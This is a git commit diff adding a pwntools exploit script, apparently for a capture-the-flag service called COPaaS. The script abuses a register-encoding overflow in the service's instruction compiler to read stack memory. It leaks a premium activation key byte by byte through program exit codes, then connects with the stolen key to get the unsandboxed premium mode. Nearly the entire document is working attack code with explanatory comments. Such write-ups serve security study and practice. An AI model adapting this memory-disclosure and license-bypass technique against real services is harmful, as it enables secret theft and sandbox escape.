Add exploit extracting the premium activation key.

This commit is contained in:
Johannes Maier
2024-01-16 21:41:50 +01:00
parent 71b527efa1
commit f84a733706

View File

@@ -1,61 +1,157 @@
#! /usr/bin/env python3
from enum import IntEnum
from pwn import *
ADD = 0
ADDI = 1
SUB = 2
COPY = 3
LOADI = 4
A = 0
B = 1
C = 2
D = 3
E = 4
F = 5
G = 6
H = 7
I = 8
J = 9
K = 10
L = 11
M = 12
N = 13
class Opcode(IntEnum):
ADD = 0
ADDI = 1
SUB = 2
COPY = 3
LOADI = 4
class Register(IntEnum):
A = 0
B = 1
C = 2
D = 3
E = 4
F = 5
G = 6
H = 7
I = 8
J = 9
K = 10
L = 11
M = 12
N = 13
def has_highest_bit_set(self):
return (self.map_to_reg_id() & 0b1000) > 0
def map_to_reg_id(self):
lookup = [
0b0000, # A is mapped to rax
0b0011, # B to rbx
0b0001, # C to rcx
0b0010, # D to rdx
0b0110, # E to rsi
0b0111, # F to rdi
0b1000, # G to r8
0b1001, # H to r9
0b1010, # I to r10
0b1011, # J to r11
0b1100, # K to r12
0b1101, # L to r13
0b1110, # M to r14
0b1111, # N to r15
]
return lookup[self]
INSTR_LEN = 8
def instr_i(opcode, reg1, imm: int):
assert (opcode == ADDI or opcode == LOADI)
assert (opcode == Opcode.ADDI or opcode == Opcode.LOADI)
return bytes([opcode, reg1, 0, 0]) + imm.to_bytes(4, byteorder='little')
def instr_r(opcode, reg1, reg2):
assert (opcode == ADD or opcode == SUB or opcode == COPY)
assert (opcode == Opcode.ADD or opcode == Opcode.SUB or opcode == Opcode.COPY)
return bytes([opcode, reg1, 0, 0, reg2, 0, 0, 0])
context.log_level = 'debug'
with remote("localhost", 1337, fam="ipv4") as p:
def load_rsp(dst_reg: Register):
assert (dst_reg.has_highest_bit_set())
# use bug to overflow into rbx register encoding
# register_id[rbx] + 1 = 0b0011 + 1 = register_id[rsp]
return instr_r(Opcode.COPY, dst_reg, Register.B)
def arbitrary_read(dst: Register, src: Register):
assert (dst.has_highest_bit_set() and not src.has_highest_bit_set())
# use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
# 0b11000000 + (register_id[dst] << 3) = 0b00XXX000
# src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register byte
return instr_r(Opcode.ADD, dst, src)
def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
p = remote("localhost", 1337, fam="ipv4")
p.recvuntil(b"Password: ")
p.sendline(b"1234")
program = instr_i(LOADI, A, 0x50)
log.info(p.recvuntil(b"COPaaS - Compiler-oriented programming as a service\n").decode())
log.info(p.recvuntil(b"? (y/N):").decode())
if key is not None:
p.sendline(b"y")
log.info(p.recvuntil(b"Then please enter your activation key:").decode())
p.sendline(key)
if is_real_key:
log.info(p.recvuntil(b"Using premium version! No sandbox for you!\n").decode())
else:
log.info(p.recvuntil(b"Using the demo version!").decode())
else:
p.sendline(b"N")
log.info(p.recvuntil(b"Using the demo version!").decode())
return p
print(p.recvuntil(b"COPaaS - Compiler-oriented programming as a service\n").decode())
print(p.recvuntil(b"? (y/N):").decode())
p.sendline(b"N")
print(p.recvuntil(b"Using the demo version!").decode())
print(p.recvuntil(b"should it bee?").decode())
len_msg = str(len(program) // INSTR_LEN).encode()
def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
log.info(p.recvuntil(b"should it bee?").decode())
len_msg = str(len(program) // INSTR_LEN)
log.info(f"Sending: {len_msg}")
p.sendline(len_msg)
print(p.recvuntil(b"Now your program:").decode())
log.info(f"Sending program: {list(program)}")
pause()
p.sendline(len_msg.encode())
log.info(p.recvuntil(b"Now your program:").decode())
log.info(f"Sending program: {str(program)}")
p.send(program)
p.interactive()
print(p.recvuntil(b"Your program exited with "))
log.info(p.recvuntil(b"Your program exited with ").decode())
exit_code = int(p.recvuntil(b"!", drop=True))
log.info(f"Retrieved exit code {exit_code}!")
p.interactive()
log.info(f"As char: {bytes([exit_code]).decode()}")
return exit_code
def extract_premium_key():
offset_saved_rip_to_activation_key = 0x396d
premium_key = b""
p = connect(b"", False)
i = 0
while i < 0x80:
program = instr_r(Opcode.ADD, Register.K, Register.A) # arbitrary
program += instr_i(Opcode.LOADI, Register.A, 0x90909090)
program = load_rsp(Register.G) # mov r8, rsp
program += instr_r(Opcode.ADD, Register.A,
Register.G) # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
program += arbitrary_read(Register.H, Register.C) # add r9, [rcx]
program += instr_r(Opcode.ADD, Register.C,
Register.H) # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
program += instr_i(Opcode.ADDI, Register.D,
offset_saved_rip_to_activation_key + i) # add rdx, offset_saved_rip_to_activation_key
program += arbitrary_read(Register.I, Register.D) # add r10, [rdx]
program += instr_r(Opcode.ADD, Register.D,
Register.I) # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
program += instr_r(Opcode.COPY, Register.A, Register.B) # mov rax, rbx
exit_code = exec_program(p, program)
if exit_code == 0:
break
as_char = bytes([exit_code])
premium_key += as_char
print(as_char.decode(), end="")
i += 1
print("")
p.close()
return premium_key
context.log_level = 'warn'
premium_key = extract_premium_key()
p = connect(premium_key, True)
p.interactive()